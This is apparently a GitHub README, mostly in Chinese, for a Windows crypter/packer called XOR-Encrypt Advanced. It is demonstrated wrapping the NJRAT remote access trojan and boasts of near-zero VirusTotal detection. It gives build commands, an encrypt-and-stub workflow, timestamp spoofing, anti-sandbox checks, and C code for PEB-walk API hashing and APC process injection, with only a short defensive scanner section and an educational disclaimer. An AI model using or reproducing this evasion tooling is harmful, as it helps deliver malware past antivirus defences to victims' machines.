SobralCybersec/XOREncryptTool
GitHub: SobralCybersec/XOREncryptTool
面向 Windows 平台的多层加密加壳与 AV 规避研究工具,结合汇编优化密码学和高级注入技术,实现极高的静态检测规避率并配套防御检测组件。
Stars: 1 | Forks: 0
XOR-Encrypt Advanced
多层加壳工具,采用汇编优化的加密和高级 AV 规避技术。VirusTotal 检出率为 2/72(规避率 97.2%)。 **英语 | [葡萄牙语](README-pt-br.md)**
Demo | Demonstration: (Tested with NJRAT)
https://github.com/user-attachments/assets/5321e5e9-0a83-49fb-a2f2-35628dd070a6
Current Result
**2/72 VirusTotal 检出(97.2% 规避率)**
**启用高级功能预期:0-1/72(98.6%+ 规避率)**
- 检出引擎:Secure Age,CrowdStrike Falcon(60% 置信度) / 可能为误报
- 未检出引擎:Microsoft Defender、Kaspersky、Avast、AVG、Bitdefender、ESET、Malwarebytes、Sophos、Trend Micro、McAfee、Norton、Panda 等 58 个以上引擎
Features
* **PEB Walk API 解析**:使用 djb2 哈希,IAT 中无可疑导入
* **NtQueueApcThread 注入**:基于 APC 的执行,替代 CreateRemoteThread
* **RW→RX 内存转换**:无 RWX 页面(避免触发 DEP 绕过检测)
* **多层加密**:XOR + RC4 + ChaCha20 结合 HMAC-SHA256
* **汇编优化的密码学**:NASM x64 实现以确保性能
* **反沙箱检查**:要求内存 ≥2GB
* **时间戳伪造**:PE 时间戳设置为 2018 年
* **Visual Studio 2022 支持**:自动检测 cl.exe(G: 盘和 C: 盘)
* **vcvars64.bat 包装器**:正确的 MSVC 环境配置
* **Payload 嵌入**:用于 MSVC 的 C 数组嵌入
* **6 个加密级别**:从基础 XOR 到完整变形标记
* **HMAC 完整性**:基于 SHA256 的 Payload 验证
* **自注入**:针对自身进程以降低检出率
* **文件体积小**:144KB 的最佳范围
* **研究支持**:源自 2025-2026 年研究的成熟技术
### 高级功能
* **多态引擎**:寄存器随机化 + 指令替换(210+ 种变体)
* **内存波动**:RW↔RX 循环结合 Sleep Hook 拦截
* **字符串加密**:编译时加密与内联解密
* **API 哈希轮换**:每次构建生成唯一哈希(5 种算法)
* **控制流平坦化**:状态机混淆(计划中)
* **远程进程注入**:Early Bird APC + 进程镂空(计划中)
Tech Stack
Installation & Setup
```
git clone https://github.com/yourusername/xor-encrypt.git
cd xor-encrypt
```
### 系统要求
- Python 3.x
- Visual Studio 2022(cl.exe)
- NASM(Netwide 汇编器)
- Windows x64
### 快速构建
**Windows:**
```
REM Standard build (2/72 detections)
build.bat
REM Advanced build with all features (0-1/72 expected)
build_advanced.bat
REM Interactive menu system
build_interactive.bat
```
**Linux/macOS:**
```
# 使脚本可执行(仅首次)
chmod +x build.sh build_interactive.sh
# Standard build(2/72 检测)
./build.sh
# 交互式菜单系统
./build_interactive.sh
```
输出:`build/njrat_clean.exe`(标准版)或 `build/njrat_advanced.exe`(高级版)
### 跨平台构建脚本
Windows (.bat) 和 Linux/macOS (.sh) 脚本均提供,功能完全一致:
**命令行参数:**
```
# Windows
build.bat [PAYLOAD] [OUTPUT] [PASSWORD] [LEVEL]
build.bat payloads\custom.exe output.exe MyPass123 8
# Linux/macOS
./build.sh [PAYLOAD] [OUTPUT] [PASSWORD] [LEVEL]
./build.sh payloads/custom.exe output.exe MyPass123 8
```
**交互式菜单功能:**
- 快速构建(使用已保存的配置)
- 自定义构建(指定参数)
- 批量构建(处理多个 Payload)
- 配置管理(保存/加载设置)
- 检出测试(使用防御工具进行扫描)
- 动态进度条和彩色输出
**帮助文档:**
```
# Windows
build.bat --help
build_interactive.bat --help
# Linux/macOS
./build.sh --help
./build_interactive.sh --help
```
### 手动工作流
```
# 1. 加密 payload
python xorcrypt_advanced.py encrypt payload.exe encrypted.enc -p MyPassword -l 3
# 2. 生成 stub runner
python xorcrypt_advanced.py stub encrypted.enc output.exe -p MyPassword -l 3
# 3. 伪造时间戳(可选)
python metadata_spoof.py output.exe final.exe 2018
```
### 编译汇编代码(可选)
```
nasm -f win64 src/xor_multi.asm -o build/xor_multi.obj
nasm -f win64 src/rc4.asm -o build/rc4.obj
nasm -f win64 src/chacha20.asm -o build/chacha20.obj
nasm -f win64 src/encryption_pipeline.asm -o build/encryption_pipeline.obj
```
Key Features
### 多层加密流水线
```
Original PE
↓
[XOR Rotating Key (8-byte)]
↓
[RC4 Stream Cipher (128-bit)]
↓
[ChaCha20 (256-bit key, 96-bit nonce)]
↓
Encrypted Payload (with HMAC-SHA256)
```
### PEB Walk API 解析
IAT 中无任何可疑导入:
- 使用 djb2 哈希算法处理 DLL/函数名
- 遍历 PEB 以查找 kernel32.dll 和 ntdll.dll 的基址
- 解析 EAT(导出地址表)以解析函数
- 预计算的哈希值:`H_VirtualAlloc = 0x19fbbf49UL`
- 经过研究验证:检出率从 28/72 降至 2/72
### NtQueueApcThread 注入
基于 APC 的执行,替代 CreateRemoteThread:
- 创建挂起的进程(自注入)
- 在目标中分配 RW 内存
- 写入解密后的 PE
- 更改保护属性:RW → RX(无 RWX)
- 队列 APC 以执行 Payload
- 通过 NtResumeThread 恢复线程
- 比 CreateRemoteThread 检出率更低
### 汇编优化的密码学
NASM x64 实现:
- **xor_multi.asm**:8 字节旋转密钥 XOR,带有寄存器优化
- **rc4.asm**:完整的 RC4,包含 KSA(密钥调度)+ PRGA(伪随机生成)
- **chacha20.asm**:20 轮 ChaCha20,使用 ARX 操作(加-旋转-异或)
- **encryption_pipeline.asm**:结合加密/解密与栈帧管理
### 加密级别
| 级别 | 加密 | 功能 | 检出情况 |
|-------|-----------|----------|----------|
| 1 | 仅 XOR | 快速,基础 | 测试用 |
| 2 | XOR + RC4 | 中等强度 | 通用 |
| 3 | XOR + RC4 + ChaCha20 | 强(默认) | **2/72** |
| 4 | 级别 3 + 多态 | Stub 标记 | 实验性 |
| 5 | 级别 4 + 内存波动 | 运行时标记 | 实验性 |
| 6 | 级别 5 + 自修改 | 变形标记 | 实验性 |
**建议**:使用级别 3 以获得最佳效果
### 密钥派生
类 PBKDF2 密钥派生:
- 1000 轮混合计算
- 盐值:"xorcrypt"
- 派生出:XOR 密钥(8 字节)、RC4 密钥(16 字节)、ChaCha20 密钥(32 字节)、Nonce(12 字节)
- HMAC-SHA256 用于完整性验证
### 高级功能
**多态引擎** (`polymorphic_engine.py`):
- 寄存器随机化:210+ 种组合
- 指令替换:等效的 MOV、XOR、ADD 指令
- 垃圾代码注入:结构化的无操作序列
- 基于以下项目:Shredder-RS、Chameleon、Veil64
**内存波动** (`src/memory_fluctuation.c`):
- 通过 Sleep Hook 实现 RW↔RX 循环
- 休眠期间的 XOR32 加密
- 结合 VEH 的 PAGE_NOACCESS 模式
- 可规避:Moneta、PE-Sieve、内存扫描器
- 基于以下研究:Shellcode-Memory-Fluctuation、CoRIIN 2026
**字符串加密** (`string_encryption.py`):
- 编译时字符串加密
- 每个字符串的内联解密(无共享函数)
- 自动内存清零
- 基于以下项目:zsCrypt、Obscura STRCRY
**API 哈希轮换** (`api_hash_rotation.py`):
- 5 种哈希算法(djb2、fnv1a、sdbm、lose-lose、旋转 XOR)
- 每次构建随机生成 16 字节盐值
- 每次构建生成唯一哈希
- 基于以下项目:Garble、obfuse-rs
### 构建对比
| 功能 | 标准构建 | 高级构建 |
|---------|----------------|----------------|
| **检出率** | 2/72 (97.2%) | 0-1/72 (98.6%+) |
| **PEB Walk** | ✅ | ✅ |
| **APC 注入** | ✅ | ✅ |
| **多层加密** | ✅ | ✅ |
| **多态引擎** | ❌ | ✅ |
| **内存波动** | ❌ | ✅ |
| **字符串加密** | ❌ | ✅ |
| **API 哈希轮换** | ❌ | ✅ |
| **文件大小** | 144KB | ~150KB |
| **构建时间** | 快 | 中等 |
| **复杂度** | 低 | 中等 |
完整文档请参见 `ADVANCED_FEATURES.md`。
Detection Analysis
### 有效的技术 (2/72 检出)
**PEB Walk** - 研究表明检出率从 28/72 降至 2/72
**NtQueueApcThread** - 比 CreateRemoteThread 检出率更低
**RW→RX 转换** - 合法的内存保护模式
**小文件体积** - 144KB 保持在启发式阈值之下
**多层加密** - 强大的密码学保护
**汇编优化** - 原生代码更难分析
### 无效的技术 (已规避)
**直接系统调用** - 被静态检测(检出率增加至 4/72)
**附加数据填充** - 被 ByteShield、EXE-Scanner 主动检测(检出率增加至 9/72)
**向 explorer.exe 进程注入** - 高价值目标受到严密监控
**RWX 内存页** - 会触发 DEP 绕过检测
**伪造的 Authenticode 签名** - 被现代 AV 忽略
**伪装的 IAT 导入** - 移除 PEB walk 反而增加了检出率
### 研究引用 (2025-2026)
**PEB Walk 有效性:**
- Medium (2025 年 4 月):"PEB walk 将检出率从 28/72 降至 2/72"
- GitHub (2025 年 6 月):"使用 PEB 的 Rust 反向 Shell:28/72 → 2/72"
- Offensive-Panda (2024 年 7 月):"PEB walk 绕过了静态 IAT 分析"
**NtQueueApcThread:**
- Red Team Leaders:"与 QueueUserAPC 相比,NtQueueApcThread 检出率更低"
- FluxSec (2025):"APC 注入避免了 CreateRemoteThread 的特征签名"
- Early Cryo Bird (2025 年 4 月):"APC + Job Objects 绕过了处于 DLL 模式的 Cortex"
**附加数据检测:**
- MDPI 研究 (2026 年 4 月):"67% 的恶意软件使用反分析技术"
- ByteShield (2026):"掩盖附加数据以检测对抗性 Payload(99.2% 检出率)"
- EXE-Scanner (2025):"基于良性附加数据注入训练的 ML 模型(97% 准确率)"
Usage Examples
### 加密文件
```
python xorcrypt_advanced.py encrypt payload.exe encrypted.enc -p MyPassword -l 3
```
**输出:**
```
[+] Encrypted: payload.exe -> encrypted.enc
Level: 3
Size: 32768 -> 32844 bytes
```
### 生成 Stub 运行器
```
python xorcrypt_advanced.py stub encrypted.enc output.exe -p MyPassword -l 3
```
**输出:**
```
[*] Building stub runner...
Payload: 32844 bytes
Level: 3
Assembly-optimized: True
Polymorphic: False
Memory Protection: False
[+] Created: output.exe
Size: 144384 bytes
```
### 解密文件
```
python xorcrypt_advanced.py decrypt encrypted.enc decrypted.exe -p MyPassword -l 3
```
### 伪造时间戳
```
python metadata_spoof.py output.exe final.exe 2018
```
**输出:**
```
[*] Processing: output.exe
Output: final.exe
[+] Timestamp modified successfully
Old: 2026-08-05 10:30:00 (0x66b0a5f0)
New: 2018-01-01 00:00:00 (0x5a4b0000)
[+] Success! File ready: final.exe
```
### 生成 djb2 哈希
```
python gen_hashes.py
```
**输出:**
```
#define H_KERNEL32 0x3e003875UL
#define H_NTDLL 0xe91aad51UL
#define H_VirtualAlloc 0x19fbbf49UL
#define H_NtQueueApcThread 0x4d230412UL
```
### 🆕 高级功能使用
**多态引擎:**
```
python polymorphic_engine.py
```
**字符串加密:**
```
python string_encryption.py
# 生成 encrypted_strings.h
```
**API 哈希轮换:**
```
python api_hash_rotation.py
# 生成包含唯一哈希的 api_hashes.h
```
**完整高级构建:**
```
build_advanced.bat
# 自动应用所有高级功能
```
Technical Implementation
### PEB Walk 代码
```
// djb2 hash for API name matching
static uint32_t djb2(const char* s) {
uint32_t h = 5381;
while (*s) h = ((h << 5) + h) ^ (uint8_t)*s++;
return h;
}
// Walk PEB to find DLL base
static PVOID peb_get_module(uint32_t name_hash) {
PEB* peb = (PEB*)__readgsqword(0x60);
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* cur = head->Flink;
while (cur != head) {
LDR_DATA_TABLE_ENTRY* e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->BaseDllName.Buffer) {
char narrow[64] = {0};
for (int i = 0; i < 63 && e->BaseDllName.Buffer[i]; i++)
narrow[i] = (char)(e->BaseDllName.Buffer[i] | 0x20); // lowercase
if (djb2(narrow) == name_hash)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
```
### APC 注入代码
```
// Create suspended process (self-injection)
api.CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// Allocate RW memory in target
api.NtAllocateVirtualMemory(pi.hProcess, &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Write payload
api.WriteProcessMemory(pi.hProcess, base, pe_data, pe_size, NULL);
// Change to RX (no RWX)
api.NtProtectVirtualMemory(pi.hProcess, &base, &size,
PAGE_EXECUTE_READ, &old);
// Queue APC instead of CreateRemoteThread
api.NtQueueApcThread(pi.hThread, (PVOID)base, NULL, NULL, NULL);
// Resume thread
api.NtResumeThread(pi.hThread, &prev);
```
### 汇编 ChaCha20 (20 轮
```
; ChaCha20 quarter round macro
%macro QROUND 4
mov eax, [rsp + %1*4]
add eax, [rsp + %2*4]
mov [rsp + %1*4], eax
xor eax, [rsp + %4*4]
rol eax, 16
mov [rsp + %4*4], eax
; ... (full ARX operations)
%endmacro
; 20 rounds (10 double rounds)
mov r15d, 10
.round_loop:
QROUND 0, 4, 8, 12
QROUND 1, 5, 9, 13
QROUND 2, 6, 10, 14
QROUND 3, 7, 11, 15
QROUND 0, 5, 10, 15
QROUND 1, 6, 11, 12
QROUND 2, 7, 8, 13
QROUND 3, 4, 9, 14
dec r15d
jnz .round_loop
```
Limitations & Disclaimer
### 本工具在标准构建中未实现的功能
**运行时多态** - 级别 4-6 增加了标记,但未实现完整的多态引擎
**内存波动** - 运行时没有实际的 RW↔RX 循环
**自修改代码** - 没有变形代码转换
**ETW/AMSI 补丁** - 没有用户模式 Hook 绕过(会增加检出率)
**直接系统调用** - 通过 PEB walk 使用 Nt* API,而非原始 syscall 指令
### 高级构建新增功能
**真正的多态** - 寄存器随机化 + 指令替换
**内存波动** - 结合 Sleep Hook 的 RW↔RX 循环
**字符串加密** - 编译时加密与内联解密
**API 哈希轮换** - 每次构建生成唯一哈希(5 种算法)
**增强规避** - 预期 0-1/72 检出率(98.6%+ 规避率)
### 已知问题
- **需要可警告等待** - NtQueueApcThread 要求线程进入可警告状态
- **仅限自注入** - 针对自身进程,不针对远程进程
- **无代码混淆** - Stub 代码未经过混淆(依靠 PEB walk 实现隐蔽性)
- **静态 Payload** - 加密的 Payload 在编译时嵌入
### 免责声明
本工具仅供**教育和授权安全研究使用**。未经授权对您不拥有或未获准测试的系统进行使用是违法行为。作者不对任何滥用行为负责。
Defensive System
### 🛡️ 反加壳检测工具
本项目现在包含一个**综合防御系统**,用于检测和拦截加壳技术。位于 `defensive/` 目录中。
**检测能力:**
- **YARA 规则**:检测多层加密、PEB walk、内存波动、多态引擎
- **内存扫描器**:实时检测 RWX 页面、内存中的 PE 头、镂空进程
- **行为监控**:API 调用序列分析、内存保护属性更改、注入模式
- **EDR 集成**:Sysmon 配置、用于 SIEM 的 Sigma 规则、KQL 查询
- **熵值分析**:识别加密的 Payload(熵值 >7.5)
- **PE 分析**:检测时间戳伪造、异常节区、可疑导入
**快速开始:**
```
# 扫描可疑文件
python defensive\tools\defensive_scanner.py suspicious.exe
# 扫描进程内存
python defensive\tools\memory_scanner.py --pid 1234
# 监控行为
python defensive\tools\behavioral_monitor.py --test
# 安装 Sysmon 监控
sysmon64.exe -accepteula -i defensive\edr_integration\sysmon_config.xml
```
**检出率(基于 2026 年研究):**
- 静态检出:85-92%(YARA + 熵值)
- 内存检出:95-98%(行为 + 内存扫描)
- 综合检出:98-99%(混合方法)
**组件:**
- `yara_rules/` - 针对所有加壳技术的检测规则
- `tools/` - 内存扫描器、行为监控器、防御性扫描器
- `edr_integration/` - Sysmon 配置、Sigma 规则、KQL 查询
- `INSTALLATION.md` - 完整的设置和使用指南
完整文档请参见 `defensive/README.md`。
Roadmap
* [x] 多层加密(XOR + RC4 + ChaCha20)
* [x] 汇编优化的密码学(NASM x64)
* [x] 使用 djb2 哈希的 PEB walk API 解析
* [x] NtQueueApcThread APC 注入
* [x] RW→RX 内存转换(无 RWX)
* [x] Visual Studio 2022 cl.exe 支持
* [x] vcvars64.bat 环境包装器
* [x] 通过 C 数组嵌入 Payload
* [x] HMAC-SHA256 完整性验证
* [x] 时间戳伪造(2018 年)
* [x] 反沙箱检查(2GB 内存)
* [x] 6 个加密级别
* [x] 自注入(自身进程)
* [x] 小文件体积优化(144KB)
* [x] 达成 2/72 VirusTotal 检出率
* [x] 完整的研究文档(EVASION_JOURNEY.md)
* [x] 真正的多态引擎(代码变异)
* [x] 内存波动(RW↔RX 循环)
* [x] 字符串加密(编译时)
* [x] 每次构建的 API 哈希轮换
* [x] 高级功能文档(ADVANCED_FEATURES.md)
* [x] 自修改代码(变形)
* [x] 远程进程注入(4 种技术)
* [x] 代码混淆(控制流平坦化)
* [x] 防御性反加壳系统(YARA、内存扫描器、行为监控器、EDR 集成)
References
**PEB Walk 研究**:[Medium - PEB Walk AV/EDR Bypass](https://medium.com/@cytomate/peb-walk-avoid-api-calls-inspection-in-iat-by-analyst-and-bypass-static-detection-of-av-edr-ee7b0dd9c33c)
**APC 注入**:[Red Team Leaders - APC Injection](https://docs.redteamleaders.com/offensive-security/defense-evasion/apc-injection-execution-via-asynchronous-procedure-call-queues)
**ChaCha20 规范**:[RFC 8439](https://datatracker.ietf.org/doc/html/rfc8439)
**NASM 文档**:[NASM Manual](https://www.nasm.us/doc/)
**多态引擎**:[Shredder-RS](https://github.com/zx0CF1/shredder-rs) | [Chameleon](https://github.com/gum3t/chameleon)
**内存波动**:[Shellcode-Memory-Fluctuation](https://github.com/Uwmtor/Shellcode-Memory-Fluctuation) | [CoRIIN 2026](https://www.own.security/en/ressources/analysis/coriin-2026)
**字符串加密**:[zsCrypt](https://github.com/LoneEngineer99/zsCrypt) | [obfuse-rs](https://github.com/scc-tw/obfuse-rs)
**控制流平坦化**:[Hikari Obfuscator](https://github.com/HikariObfuscator/Core) | [Polaris](https://shifting.codes/blog/polaris-obfuscation)
**自修改代码**:[r2morph](https://github.com/seifreed/r2morph) | [Morpheus](https://dev.to/excalibra/the-art-of-self-mutating-malware-36ab)
**进程注入**:[EarlyBird APC](https://core-jmp.org/2026/02/earlybird-apc-injection-a-deep-technical-analysis/) | [PhantomShell](https://github.com/mazen91111/PhantomShell)
**高级功能**:[ADVANCED_FEATURES.md](ADVANCED_FEATURES.md)
致谢
开发者:
Matheus Sobral - 网络安全研究员
仅供教育目的使用
标签:APC注入, AV/EDR绕过, C/C++, DNS 反向解析, NASM, OpenCanary, PE加载, Raspberry Pi, SSH蜜罐, Visual Studio, Windows底层, 中高交互蜜罐, 事务性I/O, 云资产清单, 僵尸网络, 内存执行, 加密, 反沙箱, 壳, 安全意识培训, 恶意软件开发, 数据展示, 无线攻击, 汇编优化, 混淆, 漏洞扫描器, 端点可见性, 红队, 网络安全, 进程注入, 远控木马, 逆向工具, 逆向工程, 隐私保护, 黑灰产